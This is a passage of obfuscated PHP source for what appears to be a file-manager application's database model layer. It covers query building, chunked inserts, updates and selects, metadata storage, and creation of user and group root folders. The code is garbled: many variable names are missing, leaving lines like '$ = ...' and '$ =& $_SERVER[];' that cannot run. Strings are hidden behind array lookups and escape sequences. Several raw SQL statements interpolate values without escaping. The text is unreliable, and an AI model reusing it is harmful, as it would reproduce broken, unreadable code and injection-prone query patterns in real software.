= $this->getDbFields(); $ = $ ? $ : $Ћ[220]; } elseif ($寃) { if (is_string($)) { $ = explode($Ћ[50], $); } $ = $this->getDbFields(); $ = $ ? array_diff($, $) : $; } $this->options[$Ћ[350]] = $; return $this; } public function scope($͔ = '', $ = NULL) { $Íͩ =& $_SERVER[]; if ($Íͩ[12] === $͔) { if (isset($this->_scope[$Íͩ[37]])) { $ڎ = $this->_scope[$Íͩ[37]]; } else { return $this; } } elseif (is_string($͔)) { $ڇ = explode($Íͩ[50], $͔); $ڎ = array(); foreach ($ڇ as $) { if (!isset($this->_scope[$])) { continue; } $ڎ = array_merge($ڎ, $this->_scope[$]); } if (!empty($) && is_array($)) { $ڎ = array_merge($ڎ, $); } } elseif (is_array($͔)) { $ڎ = $͔; } if (is_array($ڎ) && !empty($ڎ)) { $this->options = array_merge($this->options, array_change_key_case($ڎ)); } return $this; } public function where($ޅ, $ = null) { $ =& $_SERVER[]; if (!is_null($) && is_string($ޅ)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $[419]), $); $ޅ = vsprintf($ޅ, $); } elseif (is_object($ޅ)) { $ޅ = get_object_vars($ޅ); } elseif (is_array($ޅ)) { foreach ($ޅ as $Ϻ => $惘) { if ((is_numeric($Ϻ) || !$Ϻ) && is_string($惘)) { if (strpos($惘, $[426]) === 0) { continue; } think_trace($[427], $[12], $[49]); die; } } } if (is_string($ޅ) && $[12] != $ޅ) { $ = array(); $[$[428]] = $ޅ; $ޅ = $; } if (isset($this->options[$[352]])) { $this->options[$[352]] = array_merge($this->options[$[352]], $ޅ); } else { $this->options[$[352]] = $ޅ; } return $this; } public function limit($, $ߧ = null) { $ =& $_SERVER[]; $this->options[$[368]] = is_null($ߧ) ? $ : $ . $[50] . $ߧ; return $this; } public function page($˫ڔ, $ = null) { $ =& $_SERVER[]; $this->options[$[429]] = is_null($) ? $˫ڔ : $˫ڔ . $[50] . $; return $this; } public function comment($먈) { $this->options[$_SERVER[][430]] = $먈; return $this; } public function setProperty($ݥ, $ܢ) { if (property_exists($this, $ݥ)) { $this->{$ݥ} = $ܢ; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\157\144\151\146\x79\124\x69\155\145", "\x74\x69\x6d\x65", "\x69\x6e\x73\x65\162\x74\54\165\160\144\141\164\145", "\x66\165\156\x63\164\151\157\x6e"), array("\x63\x72\x65\x61\x74\145\x54\x69\x6d\x65", "\164\151\x6d\145", "\x69\156\x73\145\x72\164", "\x66\165\156\x63\164\151\157\156")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ = '', $ = '', $ = '') { parent::__construct($, $, $); } protected $tableMeta = array(); protected function _beforeInsert(&$ճ, $ĭ) { $ߘ =& $_SERVER[]; if (!$this->checkDataAutoHas($ߘ[431])) { return; } $this->dataBeforeFilter($ճ, $ߘ[431]); } protected function _beforeUpdate(&$š, $͐) { $ȱ =& $_SERVER[]; if (!$this->checkDataAutoHas($ȱ[432])) { return; } $this->dataBeforeFilter($š, $ȱ[432]); } protected function _afterSelect(&$, $ئ) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][433])) { return; } foreach ($ as &$ً) { $this->dataAfterFilter($ً); } unset($ً); } protected function _afterFind(&$귞, $) { if (!is_array($귞)) { return; } if (!$this->checkDataAutoHas($_SERVER[][433])) { return; } $this->dataAfterFilter($귞); } public static function textEncode($ͧΌӑ) { if (!$ͧΌӑ) { return $ͧΌӑ; } $Ӊ = json_encode($ͧΌӑ); $Ӊ = preg_replace_callback($_SERVER[][434], function ($) { return addslashes($[0]); }, $Ӊ); return json_decode($Ӊ); } public static function textDecode($) { $̹ =& $_SERVER[]; $ = json_encode($); $ = preg_replace_callback($̹[435], function ($) { return $_SERVER[][100]; }, $); return json_decode($); } public function setAutoIncrement($ш) { $‘ = array($this->getPk() => $ш); $鰡߯ = $this->data($‘)->add(); if ($鰡߯) { $this->delete($鰡߯); } } public function getAutoIncrement() { $ = $this->getTableName(); $ϡ = $this->max($this->getPk()); $ة = $this->query("\163\150\x6f\x77\40\164\141\x62\x6c\x65\x20\x73\164\141\x74\x75\163\x20\x77\150\x65\x72\145\x20\x4e\141\155\145\75\x27{$}\47"); $Ń = $ة[0][$_SERVER[][436]]; $ = max($ϡ, $Ń); return $; } protected function _callBefore($ͦЧ, $) { return $this->cacheCallCheck($ͦЧ, $, !1); } protected function _callAfter($ʪ, $ȁע) { return $this->cacheCallCheck($ʪ, $ȁע, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $úϼ, $ = false) { $ = $this->cacheFunctionAlias($úϼ); if (!$) { return; } foreach ($ as $ԙ => $Ӕ) { $͌ = $Ӕ[0]; $허À = explode($_SERVER[][50], $Ӕ[1]); if ($ == $ԙ) { return $this->cacheFunctionGet($ԙ, $͌); } if ($ && in_array($, $허À)) { $this->cacheFunctionClear($ԙ, $͌); } } } public function cacheFunctionGet($֬, $񂩌) { $טі = $this->cacheKeyMake($֬, $񂩌); $ߍ = Cache::get($טі); if (!is_array($ߍ)) { $ߍ = call_user_func_array(array($this, $֬), array($񂩌, !0)); Cache::set($טі, $ߍ); } return $ߍ; } public function cacheFunctionClear($, $) { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $) { $ = $this->cacheKeyMake($, $); Cache::remove($); } } private function cacheKeyMake($, $ә) { $׭ޜ =& $_SERVER[]; return get_class($this) . $׭ޜ[11] . $ . $׭ޜ[437] . $ә; } protected function selectPageReset() { $߄߂ =& $_SERVER[]; if (isset($GLOBALS[$߄߂[438]])) { return; } $GLOBALS[$߄߂[438]] = isset($GLOBALS[$߄߂[7]][$߄߂[439]]) ? $GLOBALS[$߄߂[7]][$߄߂[439]] : !1; $GLOBALS[$߄߂[440]] = isset($GLOBALS[$߄߂[7]][$߄߂[429]]) ? $GLOBALS[$߄߂[7]][$߄߂[429]] : !1; $GLOBALS[$߄߂[7]][$߄߂[439]] = !1; $GLOBALS[$߄߂[7]][$߄߂[429]] = !1; } protected function selectPageRestore() { $ے =& $_SERVER[]; if (!isset($GLOBALS[$ے[438]])) { return; } $GLOBALS[$ے[7]][$ے[439]] = $GLOBALS[$ے[438]]; $GLOBALS[$ے[7]][$ے[429]] = $GLOBALS[$ے[440]]; if ($GLOBALS[$ے[7]][$ے[439]] === !1) { unset($GLOBALS[$ے[7]][$ے[439]]); } if ($GLOBALS[$ے[7]][$ے[429]] === !1) { unset($GLOBALS[$ے[7]][$ے[429]]); } unset($GLOBALS[$ے[438]]); unset($GLOBALS[$ے[440]]); } protected function selectPage($ = 200, $؀ = 1) { $ԑ =& $_SERVER[]; global $in; $ = $this->optionsValue(); $ = 50000; $ = isset($in[$ԑ[439]]) && $in[$ԑ[439]] ? $in[$ԑ[439]] : $; if ($ === -1) { $in[$ԑ[439]] = !1; $ = 100000000; $ = $; } $ = $; $[$ԑ[441]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ ? $ : $); $؀ = intval(isset($in[$ԑ[429]]) && $in[$ԑ[429]] ? $in[$ԑ[429]] : $؀); $؀ = $؀ <= 1 ? 1 : $؀; $ތ = array(); $ = 1; if ($؀ == 1 && $) { $this->optionsValue($); $ތ = $this->page($؀, $)->select(); $ = is_array($ތ) ? count($ތ) : 0; if ($ < $) { $ = 1; } else { $this->optionsValue($); $ = intval($this->count()); $ = ceil($ / $); } } else { $this->optionsValue($); $ = intval($this->count()); $ = ceil($ / $); $؀ = $؀ >= $ ? $ : $؀; $this->optionsValue($); $ތ = $this->page($؀, $)->select(); } if (!is_array($ތ)) { $ތ = array(); } if ($ == 1) { $ = count($ތ); } $ = array($ԑ[442] => array($ԑ[443] => $, $ԑ[439] => $, $ԑ[429] => $؀, $ԑ[444] => $), $ԑ[445] => $ތ); return $; } protected function checkLength($̉ˆ, $ = 0, $ij詷 = '') { $Ƭ =& $_SERVER[]; $ = $ ? $ : 65536; if (!$̉ˆ || strlen($̉ˆ) < $) { return; } $ij詷 = $ij詷 ? $ij詷 . $Ƭ[74] : $Ƭ[12]; show_json($ij詷 . LNG($Ƭ[446]) . "\50{$}\x29", !1); } protected function metaSet($, $Ο = null, $Ϛ = null) { $Ν =& $_SERVER[]; if (!$this->tableMeta || !$) { return !1; } $ = $this->tableMeta[$Ν[447]]; $ = $this->tableMeta[$Ν[448]]; $򡁗 = Model($); $Ѳ = array($ => $, $Ν[449] => $Ο); if (is_null($Ο)) { return $򡁗->where(array($ => $))->delete(); } if (is_null($Ϛ) && is_string($Ο)) { return $򡁗->where($Ѳ)->delete(); } $ = is_array($Ο) ? $Ο : array(); if (is_string($Ο)) { $[$Ο] = $Ϛ; } $ = array(); foreach ($ as $ => $ٽ) { if (is_null($ٽ) && is_string($)) { $򡁗->where(array($ => $, $Ν[449] => $))->delete(); continue; } $this->checkLength($ٽ, !1, $ . $Ν[4] . $); $[] = array($ => $, $Ν[97] => $, $Ν[450] => $ٽ); } $Ć = $Ν[451] . $; CacheLock::lock($Ć); $򡁗->where(array($ => $))->addAll($, array(), !0); CacheLock::unlock($Ć); return !0; } public function metaGet($ᔶ, $Ј = false) { $Ô =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $疅 = $this->tableMeta[$Ô[447]]; $ = Model($this->tableMeta[$Ô[448]]); if ($Ј) { $ۋ = array($疅 => $ᔶ, $Ô[97] => $Ј); return $->where($ۋ)->getField($Ô[450]); } $ۋ = array($疅 => $ᔶ); $ = $->field($Ô[452])->where($ۋ)->select(); $ = array_to_keyvalue($, $Ô[97], $Ô[450]); return $; } private function checkDataAutoHas($ͪ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($ͪ, explode($_SERVER[][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $餱) { $ =& $_SERVER[]; if (!is_array($)) { return; } foreach ($this->dataAuto as $) { $ā = $[0]; if (!in_array($餱, explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[397]: case $[398]: $Я = $[1]; $傄 = isset($[4]) ? (array) $[4] : array(); if ($Я == $[206] && array_key_exists($ā, $)) { if (!$[$ā]) { unset($[$ā]); } break; } if (isset($[$ā])) { array_unshift($傄, $[$ā]); } if ($[397] == $[3]) { $[$ā] = call_user_func_array($Я, $傄); } else { $[$ā] = call_user_func_array(array(&$this, $Я), $傄); } break; case $[347]: if (isset($[$ā]) && $[$ā]) { $[$ā] = call_user_func_array(array(&$this, $[1]), array($[$ā])); } break; case $[350]: $[$ā] = $[$[1]]; break; case $[370]: if (isset($[$ā]) && !is_string($[$ā])) { $[$ā] = json_encode_force($[$ā]); } break; case $[399]: if ($[$ā] === $[12]) { unset($[$ā]); } break; case $[400]: $[$ā] = $[1]; default: break; } } if ($餱 == $[431]) { $ = strtolower($this->db->getDbType()); if (strpos($, $[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ޡ = $[$[329]]; if (isset($[$[328]])) { unset($ޡ[$[$[328]]]); } foreach ($ޡ as $م֓ => $餱) { if (!isset($[$م֓])) { $[$م֓] = $[12]; } } } } private function dataAfterFilter(&$) { $ۂހ =& $_SERVER[]; foreach ($this->dataAuto as $ď) { $Վ = $ď[0]; if (!isset($[$Վ])) { continue; } if (!in_array($ۂހ[433], explode($ۂހ[50], $ď[2]))) { continue; } switch (trim($ď[3])) { case $ۂހ[397]: case $ۂހ[398]: $Ґ = isset($ď[4]) ? (array) $ď[4] : array(); array_unshift($Ґ, $[$Վ]); if (isset($ď[4]) && $ď[4] == $ۂހ[453]) { $Ґ = array($[$Վ]); } if ($ۂހ[397] == $ď[3]) { $[$Վ] = call_user_func_array($ď[1], $Ґ); } else { $[$Վ] = call_user_func_array(array(&$this, $ď[1]), $Ґ); } break; case $ۂހ[347]: if (isset($[$Վ]) && $[$Վ]) { $[$Վ] = call_user_func_array(array(&$this, $ď[1]), array($[$Վ])); } break; case $ۂހ[350]: $[$Վ] = $[$ď[1]]; break; case $ۂހ[370]: $ù = $[$Վ]; $[$Վ] = json_decode($ù, !0); if (is_null($[$Վ])) { $[$Վ] = $ù; } break; case $ۂހ[399]: if ($[$Վ] === $ۂހ[12]) { unset($[$Վ]); } break; case $ۂހ[400]: $[$Վ] = $ď[1]; break; default: break; } } } public function saveAll($􀫝) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $ۂ = self::SQL_WHERE_IN_CHUNK; $􀫝 = is_array($􀫝) ? $􀫝 : array(); $Ȇ = $[454]; $ = 0; $ϱ = array(); $ = count($􀫝); for ($ē = 0; $ē < $; $ē++) { $Ʈ = $􀫝[$ē]; if (!is_array($Ʈ) || count($Ʈ) != 4) { continue; } $ = "\x55\x50\x44\101\x54\x45\40\x60{$}\140\40\123\105\x54\40{$Ʈ[2]}\40\x3d\x20\103\x41\123\105\x20{$Ʈ[0]}\x20\xa"; if ($ == 0) { $Ȇ = $; } $ϱ[] = $[121] . $Ʈ[1] . $[121]; $++; $Ȇ .= "\40\x57\x48\x45\x4e\40\47{$Ʈ[1]}\47\40\x54\110\x45\116\40\x27{$Ʈ[3]}\47\40\xa"; if ($ == $ۂ || $ē == $ - 1) { $́ = implode($[50], $ϱ); $Ȇ .= "\40\105\116\x44\40\40\127\x48\105\x52\105\40{$Ʈ[0]}\x20\111\x4e\40\50{$́}\x29\40"; $this->execute($Ȇ); $ = 0; $Ȇ = $; $this->chunkEventCheck(count($ϱ)); $ϱ = array(); } } $this->chunkEventSet(); } public function saveAllEach($֐) { $ =& $_SERVER[]; $ޫ = $this->tablePrefix . $this->tableName; foreach ($֐ as $) { if (!is_array($) || count($) != 4) { continue; } $׺ᓞ = $[0] . $[455] . $[1] . $[121]; $ֆ = $[2] . $[455] . $[3] . $[121]; $᭦ = "\165\160\144\x61\x74\x65\40{$ޫ}\40\x73\x65\164\x20{$ֆ}\x20\x77\150\x65\162\145\x20{$׺ᓞ}\x3b"; $this->execute($᭦); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($׺ = false, $ = false) { $this->_chunkEvent = $׺; $this->_chunkEventParam = $; } private function chunkEventCheck($Û) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[][456]] = $Û; Hook::trigger($this->_chunkEvent, $); } public function addAll($ѱ, $٧ñ = array(), $שН = false) { $˫ =& $_SERVER[]; ignore_timeout(); $Ǹ = self::SQL_WHERE_IN_CHUNK; if (empty($ѱ)) { $this->error = think_lang($˫[348]); return !1; } $٧ñ = $this->_parseOptions($٧ñ); foreach ($ѱ as $Ѹ => $) { $ѱ[$Ѹ] = $this->_facade($); $this->_beforeInsert($ѱ[$Ѹ], $٧ñ); } if (method_exists($this->db, $˫[349])) { for ($ٗ = 0; $ٗ < count($ѱ); $ٗ += $Ǹ) { $ܧ = array_slice($ѱ, $ٗ, $Ǹ); if (!is_array($ܧ) || count($ܧ) == 0) { break; } $ = $this->db->insertAll($ܧ, $٧ñ, $שН); $this->chunkEventCheck(count($ܧ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ѱ as $Ѹ => $) { $ = $this->db->insert($, $٧ñ, $שН); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function save($à = '', $侀 = array()) { $ي =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $޶خ = $this->optionsValue(); $͓ = $this->findWhereField($޶خ); if (!$͓) { return parent::save($Ã, $侀); } $祫 = 0; $׋ʝ = $޶خ[$ي[352]][$͓][1]; $׋ʝ = is_array($׋ʝ) ? $׋ʝ : array(); $йգ = count($׋ʝ); for ($ͦ؈ = 0; $ͦ؈ < $йգ; $ͦ؈ += $) { $ = array_slice($׋ʝ, $ͦ؈, $); if (!is_array($) || count($) == 0) { break; } $޶خ[$ي[352]][$͓][1] = $; $this->optionsValue($޶خ); $祫 += parent::save($Ã, $侀); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); return $祫; } public function add($ = '', $ȜԳ = array(), $ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $ȜԳ, $); } public function parseWhereLike($ɸܺ, $ڰ = '', $ɺ = false, &$ɂ = false) { $½ =& $_SERVER[]; $ǵ = $GLOBALS[$½[6]][$½[457]]; if (!$ǵ[$½[458]]) { return $ɸܺ; } if (!is_array($ɸܺ)) { return $ɸܺ; } $ = array(); $Ȕ = 0; foreach ($ɸܺ as $Ȇ => $) { if (is_array($) && count($) == 2 && $[0] == $½[459] && is_string($[1]) && substr($[1], 0, 1) == $½[460] && substr($[1], strlen($[1]) - 1, 1) == $½[460]) { $ɂ = !0; $ޞӆ = is_string($Ȇ) ? $Ȇ : $ڰ; $Ι = substr($[1], 1, strlen($[1]) - 2); $Ι = $this->db->escapeString($Ι); if (!strpos($ޞӆ, $½[10])) { $ޞӆ = $½[461] . $ޞӆ . $½[461]; } $ = $½[220] . $Ι . $½[220]; $Ι = str_replace(array($½[10], $½[462], $½[11]), $½[463], $Ι); if ($ǵ[$½[464]]) { $ = $½[465] . $Ι . $½[466]; if ($ǵ[$½[467]]) { $ = $½[466] . $Ι . $½[465]; } } $[$Ȕ] = $½[468] . $ޞӆ . $½[469] . $ . $½[470]; $Ȕ++; continue; } if (is_array($)) { $ڰ = is_string($Ȇ) ? $Ȇ : $ڰ; $ = $this->parseWhereLike($, $ڰ, !0, $ɂ); } if (is_numeric($Ȇ)) { $[$Ȕ] = $; $Ȕ++; } else { $[$Ȇ] = $; } } if ($ɂ && !$ɺ) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($٩ = array()) { $׉ =& $_SERVER[]; $Ͳ = self::SQL_WHERE_IN_CHUNK; $Ϛ = $this->optionsValue(); $ú = $this->findWhereField($Ϛ); if (!$ú || isset($Ϛ[$׉[368]]) || isset($Ϛ[$׉[429]])) { return parent::select($٩); } $ = $Ϛ[$׉[352]][$ú][1]; $ = is_array($) ? $ : array(); $ߣ = null; for ($ = 0; $ < count($); $ += $Ͳ) { $Οʣ = array_slice($, $, $Ͳ); if (!is_array($Οʣ) || count($Οʣ) == 0) { break; } $Ϛ[$׉[352]][$ú][1] = $Οʣ; $this->optionsValue($Ϛ); $ = parent::select($٩); if (!$) { continue; } $ߣ = is_array($ߣ) ? $ߣ : array(); $ߣ = array_merge($ߣ, $); } return $ߣ; } public function delete($޲ = array()) { $ɯݫ =& $_SERVER[]; $ʰ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::delete($޲); } $ = 0; $ѻ = $[$ɯݫ[352]][$][1]; $ѻ = is_array($ѻ) ? $ѻ : array(); for ($ɿ = 0; $ɿ < count($ѻ); $ɿ += $ʰ) { $ = array_slice($ѻ, $ɿ, $ʰ); if (!is_array($) || count($) == 0) { break; } $[$ɯݫ[352]][$][1] = $; $this->optionsValue($); $ += parent::delete($޲); } return $; } private function findWhereField($՜) { $ߺ =& $_SERVER[]; $ˎъ = self::SQL_WHERE_IN_CHUNK; if (!is_array($՜) || !is_array($՜[$ߺ[352]])) { return !1; } foreach ($՜[$ߺ[352]] as $ => $ۆ͊) { if (is_array($ۆ͊) && isset($ۆ͊[0]) && is_string($ۆ͊[0]) && strtolower($ۆ͊[0]) == $ߺ[7] && is_array($ۆ͊[1]) && count($ۆ͊[1]) > $ˎъ) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($ѭ = true) { think_config($_SERVER[][471], $ѭ); } } goto Aϝ; D: class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($Ò) { $ =& $_SERVER[]; $ = Model($[577])->where(array($[1754] => $Ò))->find(); $е = $this->_mkdirRoot(SourceModel::TYPE_USER, $Ò, $[$[32]]); $this->userDesktopAdd($е); return $е; } public function userDesktopAdd($) { $٧٭ =& $_SERVER[]; $Ƕ = LNG($٧٭[2242]); $ = $this->mkdir($, $Ƕ); $this->metaSet($, $٧٭[2243], $٧٭[91]); $this->metaSet($, $٧٭[2244], $); } public function userPathSafeAdd($) { $• =& $_SERVER[]; $ = Model($•[577])->getInfoFull($); if (!$) { return !1; } if (_get($, $•[599])) { return $[$•[539]][$•[2245]]; } $ð = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $•[2246], $•[2247]); Model($•[577])->metaSet($, $•[2245], $ð); $this->metaSet($ð, $•[2248], $); return $ð; } public function userPathAppAdd($ł, $ = '', $¶я = '') { $א =& $_SERVER[]; $ְй = Model($א[577])->getInfoFull($ł); if (!$ְй) { return !1; } $ø = $ְй[$א[539]] ? $ְй[$א[539]] : array(); $ = $ø[$א[2249]]; if (!$) { $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ł, $א[2250], $א[2251]); Model($א[577])->metaSet($ł, $א[2249], $ . $א[12]); $this->metaSet($, $א[2249], $ł); } if (!$) { return $; } $⹘ = $ø[$א[2252] . $]; if (!$⹘) { $⹘ = $this->mkdir($, $); Model($א[577])->metaSet($ł, $א[2252] . $, $⹘); $this->metaSet($⹘, $א[2252] . $, $ł); } if (!$¶я) { return $⹘; } $ = $this->mkdir($⹘, $¶я); return $; } public function groupRootAdd($ṗ) { $나 =& $_SERVER[]; $ = Model($나[585])->where(array($나[2054] => $ṗ))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $ṗ, $[$나[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[][605]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ as $ܞߝ) { if (!$ܞߝ) { continue; } $this->remove($ܞߝ[$_SERVER[][193]], !1); } } public function groupRootRemove($) { $ͽЄ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$ͽЄ) { return; } $this->remove($ͽЄ[$_SERVER[][193]], !1); } private function _mkdirRoot($݃ꜟ, $̬, $, $䑞 = '') { $ =& $_SERVER[]; $¤ = defined($[2189]) ? USER_ID : 0; $ = array($[477] => 0, $[648] => $݃ꜟ, $[649] => $̬, $[646] => 1, $[650] => $¤, $[651] => $¤, $[647] => $䑞, $[652] => $[594], $[504] => 0, $[617] => 0, $[542] => 0, $[653] => $[12]); if ($ = $this->where($)->find()) { return $[$[193]]; } $ = "\115\x6f\x64\x65\x6c\x53\x6f\165\x72\143\145\56\x6d\x6b\x64\x69\162\x52\157\x6f\x74\56{$݃ꜟ}\x2e{$̬}\x2e" . $; CacheLock::lock($); $[$[32]] = $; $ޜ = $this->add($); $ػ = array($[654] => short_id($ޜ)); $this->where(array($[491] => $ޜ))->save($ػ); CacheLock::unlock($); return $ޜ; } private function targetSourceRoot($Ӂ, $ƃ, $ = false) { $ʜ =& $_SERVER[]; $׹ހ = array($ʜ[477] => 0, $ʜ[648] => $Ӂ, $ʜ[649] => $ƃ); if ($) { $ = $this->where($׹ހ)->select(); return $ ? $ : array(); } $٤ = $this->where($׹ހ)->find(); return $٤ ? $٤ : array(); } public function sourceRootGroup($֐) { $چ =& $_SERVER[]; if (is_string($֐)) { $֐ = array($֐); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $֐, $چ[220]); $ = array($چ[445] => $, $چ[442] => array($چ[825] => count($֐))); $this->_listDataApply($[$چ[445]]); $this->_listMake($); return array_to_keyvalue($[$چ[85]], $چ[569]); } public function mkfile($قڗ, $, $׶ = '', $跪 = REPEAT_RENAME) { $ =& $_SERVER[]; $¼ = Model($[674])->addFileByContent($׶, $); return $this->_createFileCall($قڗ, $, $¼, $跪, $[1421]); } public function addFile($כ֞, $䋻, $題, $׊ = false, $î = REPEAT_RENAME) { $ = Model($_SERVER[][674])->addFile($䋻, $題, $׊); return $this->_createFileCall($כ֞, $題, $, $î); } public function addFileByFileID($̕, $Ԙ, $, $ = REPEAT_RENAME) { $Ռ٘ =& $_SERVER[]; $Иݴ = Model($Ռ٘[674])->find($Ԙ); Model($Ռ٘[674])->linkAdd($Ԙ); return $this->_createFileCall($̕, $, $Иݴ, $); } public function addFileByRemote($, $ޤ, $њ, $ = array(), $򱑍 = REPEAT_RENAME) { $٬Ѥ = Model($_SERVER[][674])->addFileByRemote($ޤ, $њ, $); return $this->_createFileCall($, $њ, $٬Ѥ, $򱑍); } private function _createFileCall($ϖݨ, $օ, $܂, $, $ܒ = "\165\160\x6c\x6f\141\x64") { $͍ =& $_SERVER[]; $ā = !1; $this->setMasterDB(); $this->lockWriteStart($ϖݨ, $օ); $ = $this->fileNameExist($ϖݨ, $օ); $β = $this->_createFile($ϖݨ, $օ, $܂, $, $ā); if (!$ā) { Model($͍[544])->remove($܂[$͍[541]]); } if ($ā && $β && $β != $) { Model($͍[2215])->eventCreate($β, $ܒ); } $this->lockWriteEnd($ϖݨ, $օ); return $β; } public function mkdir($, $݇, $џ = REPEAT_SKIP) { $پ蔂 =& $_SERVER[]; $this->setMasterDB(); $ = $this->sourceInfo($); if (!$) { return !1; } $this->lockWriteStart($, $݇); if ($џ !== !1) { $ƒ = $this->fileNameExist($, $݇); if ($ƒ && $џ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $݇); return $ƒ; } $݇ = $this->fileNameAuto($, $݇, $џ); } $– = array($پ蔂[646] => 1, $پ蔂[494] => $݇, $پ蔂[647] => $پ蔂[12], $پ蔂[542] => 0, $پ蔂[617] => 0); $޴د = $this->_addSource($–, $); Model($پ蔂[2215])->eventCreate($޴د, $پ蔂[1422]); $this->lockWriteEnd($, $݇); return $޴د; } public function listSourceRoot($, $珯, $Ε׃ = "\163\157\165\162\x63\x65\111\104\x2c\x74\141\162\x67\145\x74\111\104\x2c\x73\151\172\x65") { $ =& $_SERVER[]; $ׯ˂ = $[454]; $ڸ = array(); $ = 1024 * 50; $抈 = is_array($抈) ? $抈 : array(); $̴ = count($珯); $Ҭ = $this->tablePrefix . $[2253]; for ($ڔ = 0; $ڔ < $̴; $ڔ++) { $Ʌ = $珯[$ڔ]; $ׯ˂ .= "\123\x45\114\x45\x43\x54\x20\52\x20\x46\122\x4f\x4d\40\50\123\x45\114\105\103\124\x20{$Ε׃}\x20\106\122\117\115\40\x60{$Ҭ}\x60\40\x57\x48\105\x52\105\x20"; $ׯ˂ .= "\x60\160\x61\162\x65\156\x74\x49\x44\140\75\x30\x20\101\116\104\40\140\x74\x61\162\x67\x65\x74\x49\104\x60\75{$Ʌ}\x20\101\x4e\x44\x20\x60\x74\x61\162\147\145\x74\124\171\160\x65\x60\x3d{$}\40\x61\156\x64\40\146\x69\154\x65\x54\x79\160\x65\x3d\47\47\40\x6c\151\155\x69\164\x20\x31\51\40\141\163\x20\164\x62\x5f{$ڔ}\x20\125\116\x49\x4f\116\40\101\x4c\114\x20"; if ((strlen($ׯ˂) >= $ || $ڔ == $̴ - 1) && $ׯ˂) { $ׯ˂ = substr($ׯ˂, 0, -strlen($[1109])); $挙 = $this->query($ׯ˂); $ׯ˂ = $[12]; $ڸ = array_merge($ڸ, $挙); } } return $ڸ; } private function _createFile($̿͊, $쒭, $ڦ, $ܜ, &$߇) { $ =& $_SERVER[]; $ݜ = $this->sourceInfo($̿͊); if (!$ڦ || !$ݜ) { return !1; } if ($ܜ !== !1) { $ҙ쉪 = $this->fileNameExist($̿͊, $쒭); } $߇ = !0; if ($ܜ && $ҙ쉪) { if ($ܜ == REPEAT_SKIP) { $߇ = !1; return $ҙ쉪; } else { if ($ܜ == REPEAT_REPLACE) { $ǿ = $this->sourceInfo($ҙ쉪); $Բ = $this->fileHistory($ǿ, $ڦ[$[541]], $ڦ[$[79]]); if (!$Բ) { $߇ = !1; } else { $this->folderSizeReset($̿͊); } return $ҙ쉪; } else { $쒭 = $this->fileNameAuto($̿͊, $쒭, $ܜ, !1); } } } $쩛 = array($[646] => 0, $[494] => $쒭, $[647] => substr(get_path_ext($쒭), 0, 10), $[542] => $ڦ[$[541]], $[617] => $ڦ[$[79]]); $ = $this->_addSource($쩛, $ݜ); $this->folderSizeReset($̿͊, intval($쩛[$[79]])); return $; } protected function fileHistory($, $ޭΐ, $) { $Ƙ =& $_SERVER[]; if ($[$Ƙ[541]] == $ޭΐ) { return !1; } $this->checkLock($[$Ƙ[193]], $ޭΐ); Model($Ƙ[2254])->addHistory($); $ = array($Ƙ[651] => USER_ID, $Ƙ[498] => time(), $Ƙ[541] => $ޭΐ, $Ƙ[79] => $); $this->where(array($Ƙ[491] => $[$Ƙ[193]]))->save($); $this->sourceCacheClear($[$Ƙ[193]]); return !0; } public function checkLock($, $钧) { $ۄ =& $_SERVER[]; $ͪ = $this->pathInfo($); if (!$this->fileIsLock($ͪ, !0)) { return; } $÷үȗ = Session::get($ۄ[2255]); $ˆ = substr($ͪ[$ۄ[32]], 0, -1 - strlen($ͪ[$ۄ[169]])) . $ۄ[1286] . $÷үȗ . $ۄ[10] . $ͪ[$ۄ[169]]; $ = Model($ۄ[674])->find($钧); $this->_createFileCall($ͪ[$ۄ[192]], $ˆ, $, REPEAT_REPLACE, $ۄ[1421]); $賓 = $ͪ[$ۄ[539]][$ۄ[610]]; $Ӻߐ = $賓[$ۄ[2256]] ? $賓[$ۄ[2256]] : $賓[$ۄ[32]]; show_json(LNG($ۄ[2257]) . $ۄ[2258] . LNG($ۄ[2259]) . $ۄ[2260] . $Ӻߐ . $ۄ[2261], !1); } public function fileIsLock($, $܆ = false) { 